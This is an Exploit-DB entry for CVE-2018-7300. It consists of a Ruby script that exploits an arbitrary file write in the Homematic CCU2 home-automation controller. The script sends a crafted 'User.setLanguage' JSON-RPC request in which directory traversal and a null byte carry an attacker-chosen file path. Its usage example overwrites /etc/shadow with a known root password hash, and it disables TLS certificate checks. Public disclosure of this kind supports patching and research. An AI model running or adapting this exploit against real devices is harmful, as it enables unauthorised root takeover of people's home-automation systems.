EDB-ID: 44361 | Author: Patrick Muench and Gregor Kopf | Published: 2018-03-30 | CVE: CVE-2018-7300 | Type: Webapps | Platform: CGI | Vulnerable App: N/A |
# Exploit Title: Homematic CCU2 Arbitrary File Write
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7300
# Description: http://atomic111.github.io/article/homematic-ccu2-filewrite
require 'net/http'
require 'net/https'
require 'uri'
require 'json'
unless ARGV.length == 3
STDOUT.puts <<-EOF
Please provide url
Usage:
write_files.rb <ip.adress> <file path> <content of the file>
Example:
write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'
or
write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'
EOF
exit
end
# The first argument specifiee the URL and if http or https is used
url = ARGV[0] + "/api/homematic.cgi"
# The second argument specifies the file into which the content should be written
homematic_file_path = ARGV[1]
# The third argument specifies the content of the file
homematic_file_content = ARGV[2]
# define the json body for the attack
body = {
"version": "1.1",
"method": "User.setLanguage",
"params": {
"userName": "file path",
"userLang": "file content"
}
}.to_hash
# define the traversal with the file you want to write
body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"
# define the content
body[:params][:userLang] = homematic_file_content
# split the uri to access it in a easier way
uri = URI.parse(url)
# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|
# define post request
request = Net::HTTP::Post.new(uri.request_uri)
# define the content type of the http request
request.content_type = 'application/json'
# define the request body
request.body = body.to_json
# send the request to the homematic ccu2
response = http.request(request)
# print response message code and status to cli
puts 'Response code: ' + response.code + ' ' + response.message
end
